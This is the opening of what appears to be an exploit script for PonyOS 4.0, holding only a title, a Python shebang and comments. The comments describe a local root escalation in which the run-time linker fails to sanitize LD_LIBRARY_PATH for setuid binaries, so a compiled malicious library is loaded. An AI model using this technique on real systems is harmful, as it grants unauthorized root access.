Linux Kernel (PonyOS 4.0) - 'fluttershy' LD_LIBRARY_PATH Local Privilege Escalation

#!/usr/bin/python
#PonyOS 4.0 has added several improvements over previous releases
#including support for setuid binaries and dynamic libraries. The
#run-time linker does not sanitize environment variables when 
#running setuid files allowing for local root exploitation through
#manipulated LD_LIBRARY_PATH. Requires build-essential installed
#to compile the malicious library.
